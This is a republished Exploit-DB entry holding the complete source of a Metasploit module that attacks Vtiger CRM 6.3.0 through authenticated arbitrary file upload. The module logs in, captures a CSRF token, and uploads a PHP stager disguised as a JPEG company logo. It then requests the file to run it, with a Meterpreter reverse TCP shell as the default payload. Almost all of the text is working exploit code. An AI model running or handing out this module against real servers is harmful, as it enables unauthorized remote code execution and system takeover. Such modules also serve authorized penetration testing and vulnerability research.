Vtiger CRM 6.3.0 – (Authenticated) Arbitrary File Upload (Metasploit)

  • 作者: Touhid M.Shaikh
    日期: 2018-03-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44379/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Vtiger CRM 6.3.0 - Authenticated Arbitrary File Upload',
    'Description' => %q{
    Vtiger 6.3.0 CRM's administration interface allows for the upload of
    a company logo.
    Instead of uploading an image, an attacker may choose to upload a
    file containing PHP code and
    run this code by accessing the resulting PHP file.
    
    This module was tested against vTiger CRM v6.3.0.
    },
    'Author' =>
    [
    'Benjamin Daniel Mussler', # Discoverys
    'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit Module
    ],
    'License' => MSF_LICENSE,
    'References' =>
    [
    ['CVE', '2015-6000'],
    ['CVE','2016-1713'],
    ['EDB', '38345']
    ],
     'DefaultOptions' =>
    {
    'SSL' => false,
    'PAYLOAD' => 'php/meterpreter/reverse_tcp',
    'Encoder' => 'php/base64'
    },
    'Privileged' => false,
    'Platform' => ['php'],
    'Arch' => ARCH_PHP,
    'Targets' =>
    [
    [ 'vTiger CRM v6.3.0', { } ],
    ],
    'DefaultTarget'=> 0,
    'DisclosureDate' => 'Sep 28 2015'))
    
    register_options(
    [
    OptString.new('TARGETURI', [ true, "Base vTiger CRM directory
    path", '/']),
    OptString.new('USERNAME', [ true, "Username to authenticate
    with", 'admin']),
    OptString.new('PASSWORD', [ true, "Password to authenticate
    with", 'password'])
    ])
    
    # Some PHP version uses php_short_code=ON
    register_advanced_options(
    [
    OptBool.new('PHPSHORTTAG', [ false, 'Set a short_open_tag
    option', false ])
    ], self.class)
    end
    
    def check
    res = nil
    begin
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,
    'index.php') })
    rescue
    vprint_error("Unable to access the index.php file")
    return CheckCode::Unknown
    end
    
    if res and res.code != 200
    vprint_error("Error accessing the index.php file")
    return CheckCode::Unknown
    end
    
    if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
    vprint_status("vTiger CRM version: " + $1)
    case $1
    when '6.3.0'
    return Exploit::CheckCode::Vulnerable
    else
    return CheckCode::Detected
    end
    end
    
    return CheckCode::Safe
    end
    
    
    # Login Function.
    def login
    # Dummy Request for grabbing CSRF token and PHPSESSION ID
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'vhost' => "#{rhost}:#{rport}",
    })
    
    # Grabbing CSRF token from body
    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine
    CSRF token") if csrf.nil?
    vprint_good("CSRF Token for login: #{csrf}")
    
    # Get Login now.
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'vars_get' => {
    'module' => 'Users',
    'action' => 'Login',
    },
    'vars_post' => {
    '__vtrftk' => csrf,
    'username' => datastore['USERNAME'],
    'password' => datastore['PASSWORD']
    },
    })
    
    unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to
    Login request")
    end
    
    if res.code == 302 &&
    res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup")
    vprint_good("Authentication successful:
    #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
    return res.get_cookies
    else
    fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed
    :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
    return nil
    end
    end
    
    def exploit
    begin
    cookie = login
    pay_name = rand_text_alpha(rand(5..10)) + ".php"
    
    # Make a payload raw. I added this bcz when i making this module.
    server have short_open_tag=ON
    vprint_warning("Payload Generate according to
    short_open_tag=#{datastore['PHPSHORTTAG']}")
    if datastore['PHPSHORTTAG'] == true
    stager = '<? '
    stager << payload.encode
    stager << ' ?>'
    else
    stager = '<?php '
    stager << payload.encode
    stager << ' ?>'
    end
    
    
    # Again request for CSRF_token
    res = send_request_cgi({
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'vhost' => "#{rhost}:#{rport}",
    'cookie' => cookie
    })
    
    # Grabbing CSRF token from body
    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine
    CSRF token") if csrf.nil?
    vprint_good("CSRF Token for Form Upload: #{csrf}")
    
    # Setting Company Form data
    post_data = Rex::MIME::Message.new
    post_data.add_part(csrf, content_type = nil, transfer_encoding = nil,
    content_disposition = "form-data; name=\"__vtrftk\"") # CSRF token
    post_data.add_part('Vtiger', content_type = nil, transfer_encoding =
    nil, content_disposition = "form-data; name=\"module\"")
    post_data.add_part('Settings', content_type = nil, transfer_encoding
    = nil, content_disposition = "form-data; name=\"parent\"")
    post_data.add_part('CompanyDetailsSave', content_type = nil,
    transfer_encoding = nil, content_disposition = "form-data; name=\"action\"")
    post_data.add_part(stager, content_type = "image/jpeg",
    transfer_encoding = nil, content_disposition = "form-data; name=\"logo\";
    filename=\"#{pay_name}\"") #payload Content-type bypass
    post_data.add_part('vtiger', content_type = nil, transfer_encoding =
    nil, content_disposition = "form-data; name=\"organizationname\"")
    post_data.add_part('95, 12th Main Road, 3rd Block, Rajajinagar',
    content_type = nil, transfer_encoding = nil, content_disposition =
    "form-data; name=\"address\"")
    post_data.add_part('Bangalore', content_type = nil, transfer_encoding
    = nil, content_disposition = "form-data; name=\"city\"")
    post_data.add_part('Karnataka', content_type = nil, transfer_encoding
    = nil, content_disposition = "form-data; name=\"state\"")
    post_data.add_part('560010', content_type = nil, transfer_encoding =
    nil, content_disposition = "form-data; name=\"code\"")
    post_data.add_part('India', content_type = nil, transfer_encoding =
    nil, content_disposition = "form-data; name=\"country\"")
    post_data.add_part('+91 9243602352', content_type = nil,
    transfer_encoding = nil, content_disposition = "form-data; name=\"phonxe\"")
    post_data.add_part('+91 9243602352', content_type = nil,
    transfer_encoding = nil, content_disposition = "form-data; name=\"fax\"")
    post_data.add_part('www.touhidshaikh.com', content_type = nil,
    transfer_encoding = nil, content_disposition = "form-data;
    name=\"website\"")
    post_data.add_part('1234-5678-9012', content_type = nil,
    transfer_encoding = nil, content_disposition = "form-data; name=\"vatid\"")
    post_data.add_part(' ', content_type = nil, transfer_encoding = nil,
    content_disposition = "form-data; name=\"saveButton\"")
    data = post_data.to_s
    
    print_good("Payload ready for upload : [ #{pay_name} ]")
    
    print_status("Uploading payload..")
    # in Company Logo upload our payload.
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'vhost' => "#{rhost}:#{rport}",
    'cookie' => cookie,
    'connection' => 'close',
    'headers' => {
    'Referer' => "http://
    #{rhost}:#{rport}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails",
    'Upgrade-Insecure-Requests' => '1',
    },
    'data' => data,
    'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
    })
    
    unless res && res.code == 302
    fail_with(Failure::None, "#{peer} - File wasn't uploaded,
    aborting!")
    end
    
    # Cleanup file.
    register_files_for_cleanup(pay_name)
    
    print_status("Executing Payload [
    #{rhost}:#{rport}/test/logo/#{pay_name} ]" )
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.path, "test", "logo", pay_name)
    })
    
    # If we don't get a 200 when we request our malicious payload, we
    suspect
    # we don't have a shell, either.
    if res && res.code != 200
    print_error("Unexpected response, probably the exploit failed")
    end
    
    disconnect
    end
    end
    end